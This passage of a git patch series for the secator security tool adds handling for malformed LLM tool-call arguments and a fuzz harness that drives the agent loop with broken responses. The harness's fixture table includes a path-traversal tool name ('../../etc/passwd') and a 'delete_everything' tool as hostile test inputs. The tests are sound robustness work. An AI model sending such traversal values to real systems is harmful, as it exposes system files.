a/tests/unit/test_ai_session.py +++ b/tests/unit/test_ai_session.py @@ -1,4 +1,5 @@ """Tests for secator.ai.session restore_history_from_db + remote resume branch.""" +import contextlib import tempfile import unittest from unittest.mock import MagicMock, patch @@ -26,8 +27,10 @@ def test_rebuilds_order_roles_and_system(self): history = restore_history_from_db( "session1", engine, model="gpt-4o", system_prompt="SYSTEM PROMPT") - # Query was scoped to the session - engine.search.assert_called_once_with({"_type": "ai", "session_id": "session1"}) + # Query was scoped to the session by the auto-stamped `_context.session_id` + # (the same key the remote poll + resume branch use — NOT the top-level field, + # which prompt/response docs don't carry). + engine.search.assert_called_once_with({"_type": "ai", "_context.session_id": "session1"}) # System prompt set, conversation turns in timestamp order, non-turn docs skipped self.assertEqual(history.messages, [ @@ -115,7 +118,8 @@ def _make_task(self, prior_docs, backend_name="mongodb"): engine.backend.name = backend_name def _search(query, limit=0): - if query.get("_type") == "ai" and "session_id" in query: + # The resume branch scopes by `_context.session_id` (not the top-level field). + if query.get("_type") == "ai" and any("session_id" in k for k in query): return prior_docs return [] engine.search.side_effect = _search @@ -283,7 +287,9 @@ def test_mark_turn_completed_persists_marker(self): self.assertIsInstance(marker, Ai) self.assertEqual(marker.ai_type, "turn_completed") self.assertEqual(marker.extra_data.get("turn_uuid"), "turn-abc") - self.assertEqual(marker.session_id, "sess-123") + # The marker carries no top-level session_id; its conversation id is stamped + # onto `_context.session_id` by the runner persist pipeline (from self.context), + # which _turn_completed_marker queries by. That stamping is out of scope here. # Local channel: no marker persisted (idempotency is a remote concern). persisted.clear() @@ -369,5 +375,62 @@ def test_force_redetects_over_explicit_mode(self): mock_llm.assert_not_called() +class TestSessionIdStampedOnContext(unittest.TestCase): + """_init_options writes the resolved session_id back onto self.context. + + Every persisted item copies self.context into its `_context` (Runner._process_item), + so this is what makes `prompt`/`response` docs queryable by `_context.session_id` + (restore_history_from_db + the remote poll both key on it). Without the stamp a + locally-resolved session_id (str(self.id)/session_name) leaves the transcript turns + unqueryable and a remote resume restores an empty history. + """ + + def _drive_init(self, context, run_opts=None): + from secator.tasks.ai import ai + task = ai.__new__(ai) + task.context = context + task.run_opts = run_opts or {} + task.results = [] + task.inputs = [] + task._reports_folder = None + task.sync = True + opt_values = { + "resume": False, "subagent": False, "model": "m", "intent_model": "im", + "api_base": None, "api_key": "k", "sensitive": False, "mode": "chat", + "max_tokens_total": 100000, "max_workers": 1, "max_iterations": 10, + "temperature": 0.7, "context_warnings": True, "async_tasks": False, + "dangerous": False, "interactive": "remote", + } + task.get_opt_value = lambda key: opt_values.get(key) + with contextlib.ExitStack() as stack: + stack.enter_context(patch('secator.tasks.ai.PermissionEngine')) + stack.enter_context(patch('secator.tasks.ai.create_backend')) + stack.enter_context(patch('secator.tasks.ai.SensitiveDataEncryptor')) + stack.enter_context(patch.object(ai, '_auto_approve_workspace_targets')) + stack.enter_context(patch.object(type(task), 'reports_folder', property(lambda self: None))) + stack.enter_context(patch.object(type(task), 'id', 'runner-id-42', create=True)) + task._init_options() + return task + + def test_stamped_when_locally_derived(self): + """No session_id anywhere -> falls back to str(self.id) AND is written to context.""" + task = self._drive_init(context={"workspace_id": "ws1"}) + self.assertEqual(task.session_id, "runner-id-42") + self.assertEqual(task.context["session_id"], "runner-id-42") + + def test_platform_supplied_session_id_preserved(self): + """A dispatcher-supplied context session_id is kept and remains the stamped value.""" + task = self._drive_init(context={"workspace_id": "ws1", "session_id": "ui-sess-abc"}) + self.assertEqual(task.session_id, "ui-sess-abc") + self.assertEqual(task.context["session_id"], "ui-sess-abc") + + def test_stamp_matches_restore_query_key(self): + """The stamped context key is exactly what restore/poll query (`_context.session_id`).""" + task = self._drive_init(context={}) + # Simulate the generic per-item context copy (Runner._process_item does self.context.copy()). + item_context = dict(task.context) + self.assertEqual(item_context.get("session_id"), task.session_id) + + if __name__ == "__main__": unittest.main() From a4c3cd84a5aea9a48eedff5b9b0646f3c4f22a9b Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sat, 4 Jul 2026 20:06:23 +0200 Subject: [PATCH 077/129] fix(ai): accept a stringified query_workspace arg instead of crashing (#1273) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Bug (hit during CLI testing) ``` 🟢Query({"_type": "url", "verified": true}) [ERR] ai Action failed with error: AttributeError: 'str' object has no attribute 'items' File ".../secator/ai/actions.py", line 731, in _handle_query query_filter = _decrypt_dict(query_filter, ctx.encryptor) File ".../secator/ai/actions.py", line 1130, in _decrypt_dict for k, v in d.items() ``` The `query_workspace` tool schema **correctly** declares `query` as `type: object`, but the model returned it as a JSON **string** (`'{"_type":"url","verified":true}'`) — a well-known tool-calling quirk where providers serialize nested object params as strings. `_handle_query` assumed a dict and handed it to `_decrypt_dict`, which does `d.items()` → `AttributeError`. It's caught by `safe_dispatch_action` (so non-fatal — the model retried with `curl`), but it wastes an iteration and **any** model that stringifies object args can never use `query_workspace`. (`_decrypt_dict` only fires when the encryptor is active, i.e. the default `sensitive=True`.) ## Fix - `_handle_query`: if `query` is a `str`, `json.loads` it before decrypt/search. On a non-JSON string or a non-dict, return a clean, LLM-actionable `Error` (`"query must be a JSON object …"`) instead of crashing. Mirrors the existing `add_finding` scalar coercion. - `_decrypt_dict`: no-op backstop on non-dict input. ## Tests `TestHandleQuery`: stringified query is coerced+searched **with the encryptor active** (the exact original crash condition); non-JSON string and non-dict each return one clean `Error`. `TestDecryptDict`: non-dict input returned unchanged. Full AI suite: **no new failures** vs branch baseline. Found while testing `ai-testing`; targets `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- secator/ai/actions.py | 28 +++++++++++++++++++++++ tests/unit/test_ai_actions.py | 43 +++++++++++++++++++++++++++++++++++ 2 files changed, 71 insertions(+) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 5c722f0f9..ba29ee266 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -726,6 +726,29 @@ def _handle_query(action: Dict, ctx: ActionContext) -> Generator: query_filter = action.get("query", {}) limit = action.get("limit", 100) + # The query_workspace tool schema declares `query` as an object, but some + # models/providers serialize it as a JSON *string* (a known tool-calling + # quirk). Coerce a stringified query back to a dict so the tool works + # regardless of the provider, mirroring the add_finding scalar coercion. + # On a genuinely malformed query, return a clear error the LLM can act on + # instead of crashing _decrypt_dict/search on a non-dict. + if isinstance(query_filter, str): + try: + query_filter = json.loads(query_filter) + except (json.JSONDecodeError, TypeError): + yield Error( + message='query must be a JSON object (e.g. {"_type": "vulnerability"}); ' + f'got an unparseable string: {query_filter[:120]!r}', + _context=context, + ) + return + if not isinstance(query_filter, dict): + yield Error( + message=f'query must be a JSON object; got {type(query_filter).__name__}.', + _context=context, + ) + return + # Decrypt query values if ctx.encryptor: query_filter = _decrypt_dict(query_filter, ctx.encryptor) @@ -1126,6 +1149,11 @@ def _decrypt_dict(d: Dict, encryptor: Any) -> Dict: Returns: Decrypted dictionary """ + # Backstop: callers should pass a dict, but a non-dict (e.g. an LLM that + # stringified an object arg) must not raise `.items()` here — return it + # unchanged rather than crash the whole action. + if not isinstance(d, dict): + return d result = {} for k, v in d.items(): if isinstance(v, str): diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 07b5ed64b..9e905330d 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -39,6 +39,14 @@ def test_decrypt_nested_dict(self): self.assertEqual(result['outer']['inner'], 'VALUE') + def test_decrypt_non_dict_returned_unchanged(self): + """Backstop: a non-dict (e.g. a stringified query arg) must not raise + `.items()` — it is returned unchanged instead of crashing the action.""" + encryptor = MagicMock() + self.assertEqual(_decrypt_dict('{"_type": "url"}', encryptor), '{"_type": "url"}') + self.assertEqual(_decrypt_dict(['a', 'b'], encryptor), ['a', 'b']) + encryptor.decrypt.assert_not_called() + def test_decrypt_list_values(self): encryptor = MagicMock() encryptor.decrypt.side_effect = lambda x: x.upper() @@ -291,6 +299,41 @@ def test_query_success(self, mock_get_engine): for r in result_dicts: self.assertTrue(r['_context'].get('ai_query_result')) + @patch('secator.ai.actions.ActionContext.get_query_engine') + def test_query_stringified_json_is_coerced(self, mock_get_engine): + """A model that passes `query` as a JSON *string* (schema says object) must + still work — coerced to a dict, then searched. Regression for the + AttributeError('str' object has no attribute 'items') in _decrypt_dict.""" + mock_engine = MagicMock() + mock_engine.search.return_value = [{'_type': 'url', '_context': {}}] + mock_get_engine.return_value = mock_engine + # Encryptor active is the exact condition that made the original crash fire. + encryptor = MagicMock() + encryptor.decrypt.side_effect = lambda s: s + ctx = ActionContext(targets=['t.com'], model='m', context={'workspace_id': 'ws1'}, encryptor=encryptor) + + results = list(_handle_query( + {'action': 'query', 'query': '{"_type": "url", "verified": true}'}, ctx)) + + self.assertFalse([r for r in results if isinstance(r, Error)], 'stringified query must not error') + mock_engine.search.assert_called_once_with({'_type': 'url', 'verified': True}, limit=100) + + def test_query_unparseable_string_returns_clean_error(self): + """A non-JSON string yields an Error the LLM can act on — not a crash.""" + ctx = ActionContext(targets=['t.com'], model='m', context={'workspace_id': 'ws1'}) + results = list(_handle_query({'action': 'query', 'query': 'not json at all'}, ctx)) + errors = [r for r in results if isinstance(r, Error)] + self.assertEqual(len(errors), 1) + self.assertIn('JSON object', errors[0].message) + + def test_query_non_dict_returns_clean_error(self): + """A non-dict, non-str query (e.g. a list) yields a clean Error, not a crash.""" + ctx = ActionContext(targets=['t.com'], model='m', context={'workspace_id': 'ws1'}) + results = list(_handle_query({'action': 'query', 'query': ['_type', 'url']}, ctx)) + errors = [r for r in results if isinstance(r, Error)] + self.assertEqual(len(errors), 1) + self.assertIn('JSON object', errors[0].message) + @patch('secator.ai.actions.ActionContext.get_query_engine') def test_query_failure(self, mock_get_engine): mock_engine = MagicMock() From bf3d102315e62be3e400f0cf684a192d226d2351 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sat, 4 Jul 2026 20:06:42 +0200 Subject: [PATCH 078/129] =?UTF-8?q?fix(ai):=20arg=20resilience=20=E2=80=94?= =?UTF-8?q?=20coerce=20stringified=20args,=20reject=20non-object=20args,?= =?UTF-8?q?=20+=20LLM-response=20fuzz=20harness=20(#1275)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Makes the agent loop resilient to weird LLM tool-call responses — and adds the harness that proves it. ## The fixes 1. **Coerce stringified object/array args** (`opts`/`query`/`targets`/`choices`/…). Some models serialize nested object params as JSON strings even though the schema says `object`/`array`. A stringified `opts` crashed `_get_action_label` (`'str' has no attribute 'get'`) and silently vanished in `_run_runner`. `coerce_stringified_args()` runs at the tool-call boundary (before decrypt/convert) and `json.loads`-es any such arg once. Malformed values are left as-is for a clean handler error. 2. **Reject non-object arguments** — a model emitting a bare JSON int/array/string (`12345`, `["nmap"]`) made `tool_call_to_action` call `.items()` on a non-dict → `AttributeError` → the top-level catch-all → **whole conversation aborted**. Now rejected cleanly to `None` so the caller feeds an error back and the loop continues. (Surfaced by the harness below.) ## The harness — `tests/unit/test_ai_resilience.py` Fakes the LLM (patches `call_llm`) and drives the **real `_run_loop`** with a battery of weird responses, asserting the invariant: > a malformed response is handled turn-locally and the loop **survives** — it never aborts the session via the top-level `except → Error.from_exception; return` catch-all (monitored precisely), and never raises. Two layers: - **Curated table** — stringified opts/query/targets/choices, wrong-type args, broken JSON, missing fields, unknown tools, empty/huge/no-usage responses. - **Seeded fuzzer** — 200 random malformed `arguments` strings across every tool; deterministic so any failure reproduces. This is the tool that would have caught the stringified-`opts`/`query` crashes *before* they were hit by hand — and it found the non-object-args gap on its first run. ## Tests `TestWeirdToolCalls` + `TestWeirdContentResponses` + `TestMalformedArgFuzzer` (28) all green; `TestCoerceStringifiedArgs` + `tool_call_to_action` non-object guard. Full AI suite: **no new failures** vs branch baseline. Targets `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.8 --- secator/ai/actions.py | 4 +- secator/ai/tools.py | 35 ++++ secator/tasks/ai.py | 6 +- tests/unit/test_ai_actions.py | 8 + tests/unit/test_ai_resilience.py | 304 +++++++++++++++++++++++++++++++ tests/unit/test_ai_tools.py | 45 +++++ 6 files changed, 400 insertions(+), 2 deletions(-) create mode 100644 tests/unit/test_ai_resilience.py diff --git a/secator/ai/actions.py b/secator/ai/actions.py index ba29ee266..0cac0563b 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -995,7 +995,9 @@ def _get_action_label(action: Dict) -> str: if act_type in ("task", "workflow"): name = action.get("name", "?") opts = action.get("opts", {}) - session_name = opts.get("session_name", "") + # Defensive: a model may stringify `opts` (coerced at the tool-call boundary, + # but a malformed value can survive as a str) — never crash a display label. + session_name = opts.get("session_name", "") if isinstance(opts, dict) else "" if session_name: return session_name targets = action.get("targets", []) diff --git a/secator/ai/tools.py b/secator/ai/tools.py index 5decb3155..115f50d83 100644 --- a/secator/ai/tools.py +++ b/secator/ai/tools.py @@ -1,5 +1,7 @@ """Tool schema definitions for native LLM tool calling.""" +import json + from secator.ai.prompts import get_mode_config # Map tool names to action types used by existing action handlers @@ -197,6 +199,33 @@ def build_tool_schemas(mode: str, is_subagent: bool = False, backend=None) -> li return schemas +def coerce_stringified_args(tool_name: str, arguments: dict) -> dict: + """Coerce args the model serialized as JSON strings back to their declared type. + + Some providers stringify nested object/array parameters even when the tool + schema says ``type: object`` / ``array`` (e.g. ``opts`` or ``query`` arriving + as a JSON string). Downstream handlers then call ``.get()`` / ``**opts`` / + ``.items()`` on a ``str`` and raise ``AttributeError`` — or silently drop the + value (``_sanitize_child_opts`` returns ``{}`` for a non-dict). Parse any such + arg once, here at the tool-call boundary, so every consumer gets the declared + type. Best-effort: an unparseable value is left as-is so the handler can return + a clean error rather than crash. + + Must run BEFORE arg decryption — ``_decrypt_dict`` would otherwise treat a + stringified object as a single encrypted value. + """ + if not isinstance(arguments, dict): + return arguments + props = TOOL_SCHEMAS.get(tool_name, {}).get("function", {}).get("parameters", {}).get("properties", {}) + for key, spec in props.items(): + if spec.get("type") in ("object", "array") and isinstance(arguments.get(key), str): + try: + arguments[key] = json.loads(arguments[key]) + except (json.JSONDecodeError, TypeError, ValueError): + pass + return arguments + + def tool_call_to_action(tool_name: str, arguments: dict) -> dict | None: """Convert a tool call to an action dict compatible with existing action handlers. @@ -212,6 +241,12 @@ def tool_call_to_action(tool_name: str, arguments: dict) -> dict | None: return None if not arguments: return None + # A model may emit non-object arguments (a bare JSON int/array/string, e.g. + # `12345` or `["nmap"]`). `.items()` below would raise AttributeError and abort + # the whole loop — reject cleanly instead so the caller feeds an error back and + # the conversation continues. + if not isinstance(arguments, dict): + return None safe_arguments = {k: v for k, v in arguments.items() if k not in {"action", "description"}} descr = safe_arguments.get("name", "") or safe_arguments.get("query") or safe_arguments.get("command", "unknown") return {"action": action_type, "description": descr, **safe_arguments} diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 694da1249..9ff60abcf 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -24,7 +24,7 @@ from secator.ai.prompts import ( load_prompt, get_system_prompt, get_mode_config, format_tool_result, format_continue, MODES ) -from secator.ai.tools import build_tool_schemas, tool_call_to_action, TOOL_SCHEMAS +from secator.ai.tools import build_tool_schemas, tool_call_to_action, coerce_stringified_args, TOOL_SCHEMAS from secator.ai.session import save_history, show_session_picker, replay_session, restore_history_from_db from secator.ai.utils import call_llm, init_llm, setup_ai, format_llm_status @@ -894,6 +894,10 @@ def _process_tool_calls(self, tool_calls, ctx): self.history.add_tool_result(name, tc_id, maybe_encrypt(error_msg, self.encryptor)) continue + # Coerce object/array args the model stringified (provider quirk) BEFORE + # decrypt/convert, so handlers get the declared type not a JSON string. + args = coerce_stringified_args(name, args) + # Decrypt args if self.encryptor: args = _decrypt_dict(args, self.encryptor) diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 9e905330d..21bc7e6bf 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -1154,6 +1154,14 @@ def test_run_batch_empty_actions(self): self.assertEqual(len(results), 1) self.assertIsInstance(results[0], Warning) + def test_get_action_label_tolerates_stringified_opts(self): + """Regression: a str `opts` (model stringified it) must not crash the + batch label with AttributeError('str' object has no attribute 'get').""" + from secator.ai.actions import _get_action_label + label = _get_action_label( + {"action": "task", "name": "nmap", "targets": ["10.0.0.1"], "opts": '{"session_name": "x"}'}) + self.assertEqual(label, "nmap on 10.0.0.1") # falls back to name-on-target, no crash + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestCheckGuardrailsFailClosed(unittest.TestCase): diff --git a/tests/unit/test_ai_resilience.py b/tests/unit/test_ai_resilience.py new file mode 100644 index 000000000..06ae7283e --- /dev/null +++ b/tests/unit/test_ai_resilience.py @@ -0,0 +1,304 @@ +"""Resiliency harness: fake the LLM and feed the agent loop every kind of weird +response, asserting the invariant that a malformed LLM response is handled +**turn-locally** and the loop **survives and continues** — never aborts the whole +session via the top-level catch-all, and never raises out of the loop. + +Why "survives and continues" and not just "doesn't crash": `_run_loop` already +wraps each iteration in `try/except Exception -> Error.from_exception; return` +(ai.py). So an unhandled exception won't kill the worker — but it ABORTS the +entire conversation. The resilient path instead rejects the bad tool call as a +clean tool-result error (so the model can retry) and keeps looping. We detect the +difference by counting `call_llm` invocations: a tool-call turn that is handled +turn-locally forces another iteration (the loop asks the model again), so +`call_llm` is called at least twice. An abort stops at one. + +Two layers: + 1. TestWeirdToolCalls — a curated table (regression coverage for the bugs we've + hit + adjacent ones: stringified opts/query, broken JSON, wrong-type args, + unknown tools, missing fields, mixed batches, ...). + 2. TestMalformedArgFuzzer — random malformed tool-call arguments across all + tools; seeded so any failure reproduces. +""" +import contextlib +import json +import random +import types +import unittest +from unittest.mock import patch + +from secator.definitions import ADDONS_ENABLED + +HAS_AI = ADDONS_ENABLED.get('ai', False) + +if HAS_AI: + from secator.tasks.ai import ai + from secator.ai.history import ChatHistory + from secator.ai.interactivity import create_backend + from secator.output_types import Error + + +# --------------------------------------------------------------------------- +# Fixtures +# --------------------------------------------------------------------------- + +def _tc(name, args, call_id="tc1"): + """A litellm-shaped tool_call. ``args`` may be a dict/list (JSON-dumped, the + normal case) or a raw string — pass a string to inject malformed/weird + arguments verbatim, exactly as a misbehaving model would.""" + arguments = json.dumps(args) if isinstance(args, (dict, list)) else args + return types.SimpleNamespace(id=call_id, function=types.SimpleNamespace(name=name, arguments=arguments)) + + +def _resp(content=None, tool_calls=None, usage="default"): + """A call_llm() return dict.""" + if usage == "default": + usage = {"tokens": 100, "cost": 0.001} + return {"content": content, "tool_calls": tool_calls or [], "usage": usage} + + +def _make_loop_task(): + """A bare `ai` task carrying exactly the state `_run_loop` reads, with + dry_run+dangerous so actions neither execute real tools nor need the guardrail + shell parser — this isolates arg-handling / dispatch resilience.""" + task = ai.__new__(ai) + task.context = {"ai_tokens": 0, "ai_prompt_tokens": 0, "ai_completion_tokens": 0, "ai_cost": 0.0} + task.history = ChatHistory() + task.inputs = [] + task.model = "test-model" + task.intent_model = "test-model" + task.temp = 0.7 + task.api_base = None + task.api_key = "key" + task.max_iterations = 6 + task.max_tokens_total = 100000 + task.max_workers = 1 + task.is_subagent = True + task.verbose = False + task.dry_run = True + task.mode = "chat" + task.scope = "workspace" # + empty workspace_id -> query short-circuits, no real search + task.results = [] + task.encryptor = None + task.tool_schemas = [] + task.permission_engine = None + task.dangerous = True + task.interactive = "auto" + task._sync = True + task.session_id = "s" + task.async_tasks = False + task.context_warnings = False + task._reports_folder = None + task.system_prompt = "SYS" + task.debug = lambda *a, **k: None + task.add_result = lambda *a, **k: None + task.print_item = False + task.print_line = False + task.backend = create_backend("auto") + return task + + +@contextlib.contextmanager +def _driven(task, weird_responses): + """Patch call_llm to emit the weird responses, then a terminating content-only + response forever; stub the heavy collaborators; and capture the loop's + top-level abort signal. + + The abort signal is `Error.from_exception`, which `_run_loop` calls at exactly + one site (ai.py) — its `except Exception -> Error.from_exception(e); return` + catch-all. `safe_dispatch_action` (per-action resilience) uses plain `Error(...)`, + not `from_exception`, and `stop`/`follow_up` end the loop without raising — so a + captured `from_exception` means an UNHANDLED exception aborted the session: a + resilience failure, distinct from a clean end.""" + seq = list(weird_responses) + state = {"calls": 0, "aborted_with": None} + + def _next(*a, **k): + state["calls"] += 1 + return seq.pop(0) if seq else _resp(content="__done__", tool_calls=[]) + + real_from_exc = Error.from_exception + + def _capture(exc, *a, **k): + state["aborted_with"] = exc + return real_from_exc(exc, *a, **k) + + with contextlib.ExitStack() as stack: + stack.enter_context(patch('secator.tasks.ai.call_llm', side_effect=_next)) + stack.enter_context(patch('secator.tasks.ai.get_context_window', return_value=8000)) + stack.enter_context(patch('secator.ai.history.get_context_window', return_value=8000)) + stack.enter_context(patch('secator.tasks.ai.save_history')) + stack.enter_context(patch.object(type(task), 'reports_folder', property(lambda self: None))) + stack.enter_context(patch.object(ai, '_summarize_auto', return_value=iter(()))) + stack.enter_context(patch.object(ai, '_summarize_user', return_value=iter(()))) + stack.enter_context(patch('secator.tasks.ai.Error.from_exception', side_effect=_capture)) + # content-only turns exit (no follow-up loop); tool-call turns still continue + stack.enter_context(patch.object(ai, '_prompt_and_redetect', return_value=None)) + yield state + + +def _run(task, weird_responses): + """Drive the real _run_loop; return (yielded_items, call_count, aborted_with).""" + with _driven(task, weird_responses) as state: + items = list(task._run_loop()) + return items, state["calls"], state["aborted_with"] + + +# --------------------------------------------------------------------------- +# 1. Curated weird tool-call responses +# --------------------------------------------------------------------------- + +# Each entry: (label, tool_call). The loop gets ONE turn with this tool call, then +# a terminating content turn. A resilient loop rejects/handles the bad call and +# asks the model again -> call_llm invoked >= 2. +WEIRD_TOOL_CALLS = [ + # --- stringified object/array args (provider quirk; #1273/#1275) --- + ("stringified_opts", _tc("run_task", '{"name":"nmap","targets":["10.0.0.1"],"opts":"{\\"session_name\\":\\"x\\"}"}')), + ("stringified_query", _tc("query_workspace", '{"query":"{\\"_type\\":\\"url\\"}"}')), + ("stringified_targets", _tc("run_task", '{"name":"nmap","targets":"10.0.0.1"}')), + ("stringified_choices", _tc("follow_up", '{"reason":"pick","choices":"[\\"a\\",\\"b\\"]"}')), + # --- valid JSON, wrong shape --- + ("query_as_list", _tc("query_workspace", {"query": ["_type", "url"]})), + ("opts_as_int", _tc("run_task", {"name": "nmap", "targets": ["x"], "opts": 5})), + ("targets_as_number", _tc("run_task", {"name": "nmap", "targets": 12345})), + ("args_top_level_int", _tc("run_task", "12345")), + ("args_top_level_array", _tc("run_task", '["nmap","10.0.0.1"]')), + ("args_top_level_string", _tc("run_task", '"just a string"')), + # --- invalid JSON --- + ("broken_json_unbalanced", _tc("run_shell", '{"command": "curl -s x" ')), + ("broken_json_trailing", _tc("run_task", '{"name":"nmap",}')), + ("empty_string_args", _tc("run_shell", '')), + ("garbage_args", _tc("run_task", 'not json at all')), + # --- missing / empty fields --- + ("empty_object_args", _tc("run_task", {})), + ("missing_name", _tc("run_task", {"targets": ["x"]})), + ("shell_missing_command", _tc("run_shell", {})), + ("null_values", _tc("run_task", {"name": None, "targets": None, "opts": None})), + # --- unknown / nonsense tool --- + ("unknown_tool", _tc("delete_everything", {})), + ("unknown_tool_bad_args", _tc("../../etc/passwd", 'weird')), + # --- add_finding malformations --- + ("add_finding_str_data", _tc("add_finding", {"finding_type": "vulnerability", "data": "not-a-dict"})), + ("add_finding_no_type", _tc("add_finding", {"data": {"name": "x"}})), + # --- deep nesting / large --- + ("deeply_nested_opts", _tc("run_task", {"name": "nmap", "targets": ["x"], "opts": {"a": {"b": {"c": {"d": 1}}}}})), +] + + +@unittest.skipUnless(HAS_AI, 'ai addon required') +class TestWeirdToolCalls(unittest.TestCase): + """A malformed tool call must be handled turn-locally and the loop must + SURVIVE and continue (call_llm invoked again), never abort the session.""" + + def _assert_survives(self, label, tool_call): + task = _make_loop_task() + try: + _items, _n, aborted = _run(task, [_resp(tool_calls=[tool_call])]) + except Exception as e: # noqa: BLE001 - the whole point is nothing escapes + self.fail(f"[{label}] raised out of the loop: {type(e).__name__}: {e}") + self.assertIsNone( + aborted, + f"[{label}] weird tool call aborted the session via the top-level catch-all: " + f"{type(aborted).__name__ if aborted else None}: {aborted}") + + +def _make_weird_test(label, tool_call): + def test(self): + self._assert_survives(label, tool_call) + test.__name__ = f"test_{label}" + return test + + +for _label, _tool_call in WEIRD_TOOL_CALLS: + setattr(TestWeirdToolCalls, f"test_{_label}", _make_weird_test(_label, _tool_call)) + + +# --------------------------------------------------------------------------- +# 2. Non-tool-call weird responses (tailored expectations) +# --------------------------------------------------------------------------- + +@unittest.skipUnless(HAS_AI, 'ai addon required') +class TestWeirdContentResponses(unittest.TestCase): + + def test_single_empty_response_recovers(self): + """One empty response (no content, no tools) -> Warning, then continues.""" + task = _make_loop_task() + items, n, aborted = _run(task, [_resp(content=None, tool_calls=[])]) + self.assertIsNone(aborted) + self.assertGreaterEqual(n, 2) # recovered and asked again + + def test_three_empty_responses_stop_cleanly(self): + """Three consecutive empties stop with a clean Error (intended), no abort.""" + task = _make_loop_task() + items, n, aborted = _run(task, [_resp(content=None, tool_calls=[]) for _ in range(3)]) + self.assertIsNone(aborted) # a deliberate Error(485), not the catch-all + self.assertTrue(any(getattr(i, '_type', '') == 'error' for i in items)) + + def test_missing_usage_does_not_crash(self): + """usage=None must not crash accounting.""" + task = _make_loop_task() + items, n, aborted = _run(task, [_resp(content="hi", tool_calls=[], usage=None)]) + self.assertIsNone(aborted) + self.assertEqual(task.context["ai_tokens"], 0) + + def test_huge_content_does_not_crash(self): + task = _make_loop_task() + items, n, aborted = _run(task, [_resp(content="A" * 500_000, tool_calls=[])]) + self.assertIsNone(aborted) + + +# --------------------------------------------------------------------------- +# 3. Fuzzer: random malformed arguments across every tool +# --------------------------------------------------------------------------- + +_TOOL_NAMES = ["run_task", "run_workflow", "run_shell", "query_workspace", "follow_up", "add_finding", "stop"] + + +def _random_weird_arguments(rng): + """Produce a plausibly-broken `tool_call.arguments` string a model might emit.""" + kind = rng.choice([ + "valid_int", "valid_array", "valid_string", "unbalanced", "trailing_comma", + "empty", "not_json", "stringified_nested", "wrong_types", "null_fields", + ]) + if kind == "valid_int": + return str(rng.randint(0, 10_000)) + if kind == "valid_array": + return json.dumps([rng.choice(["a", 1, None, True]) for _ in range(rng.randint(0, 4))]) + if kind == "valid_string": + return json.dumps("".join(rng.choice("abc {}[]\"") for _ in range(rng.randint(0, 20)))) + if kind == "unbalanced": + return '{"name": "x", "opts": {' + '"k": 1' * rng.randint(0, 2) + if kind == "trailing_comma": + return '{"name": "nmap", "targets": ["x"],}' + if kind == "empty": + return rng.choice(["", " ", "{}"]) + if kind == "not_json": + return rng.choice(["not json", "", "```json\n{}\n```", "\x00\x01"]) + if kind == "stringified_nested": + return json.dumps({"name": "nmap", "targets": '["a","b"]', "opts": '{"x":1}'}) + if kind == "wrong_types": + return json.dumps({"name": rng.choice([1, None, [], {}]), "targets": rng.choice(["s", 5, {}]), + "opts": rng.choice([5, "str", []]), "query": rng.choice([[], "s", 9])}) + # null_fields + return json.dumps({"name": None, "targets": None, "opts": None, "query": None, "command": None}) + + +@unittest.skipUnless(HAS_AI, 'ai addon required') +class TestMalformedArgFuzzer(unittest.TestCase): + """Random malformed arguments across all tools must never abort the loop.""" + + def test_fuzz_arguments_never_abort_loop(self): + rng = random.Random(1337) # deterministic: any failure reproduces + failures = [] + for i in range(200): + name = rng.choice(_TOOL_NAMES) + raw = _random_weird_arguments(rng) + task = _make_loop_task() + tool_call = _tc(name, raw, call_id=f"f{i}") + try: + _items, _n, aborted = _run(task, [_resp(tool_calls=[tool_call])]) + except Exception as e: # noqa: BLE001 + failures.append(f"#{i} {name} args={raw!r} -> RAISED {type(e).__name__}: {e}") + continue + if aborted is not None: + failures.append(f"#{i} {name} args={raw!r} -> ABORTED ({type(aborted).__name__}: {aborted})") + self.assertEqual(failures, [], f"{len(failures)} resilience failures:\n" + "\n".join(failures[:20])) diff --git a/tests/unit/test_ai_tools.py b/tests/unit/test_ai_tools.py index 8a491fe3e..efcb19285 100644 --- a/tests/unit/test_ai_tools.py +++ b/tests/unit/test_ai_tools.py @@ -198,6 +198,51 @@ def test_unknown_tool_returns_none(self): result = tool_call_to_action("nonexistent_tool", {"foo": "bar"}) self.assertIsNone(result) + def test_non_dict_arguments_rejected(self): + """Non-object arguments (a bare JSON int/array/string) reject cleanly to None + instead of raising AttributeError on .items() and aborting the loop.""" + from secator.ai.tools import tool_call_to_action + for bad in (12345, ["nmap", "10.0.0.1"], "just a string"): + self.assertIsNone(tool_call_to_action("run_task", bad)) + + +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestCoerceStringifiedArgs(unittest.TestCase): + """Models sometimes serialize object/array params as JSON strings even though + the schema says object/array — coerce them back at the tool-call boundary.""" + + def test_stringified_opts_and_targets_coerced(self): + from secator.ai.tools import coerce_stringified_args + args = coerce_stringified_args("run_task", { + "name": "nmap", + "targets": '["10.0.0.1", "10.0.0.2"]', # array sent as string + "opts": '{"session_name": "scan-x", "top_ports": 100}', # object sent as string + }) + self.assertEqual(args["targets"], ["10.0.0.1", "10.0.0.2"]) + self.assertEqual(args["opts"], {"session_name": "scan-x", "top_ports": 100}) + + def test_stringified_query_coerced(self): + from secator.ai.tools import coerce_stringified_args + args = coerce_stringified_args("query_workspace", {"query": '{"_type": "url"}'}) + self.assertEqual(args["query"], {"_type": "url"}) + + def test_already_typed_args_untouched(self): 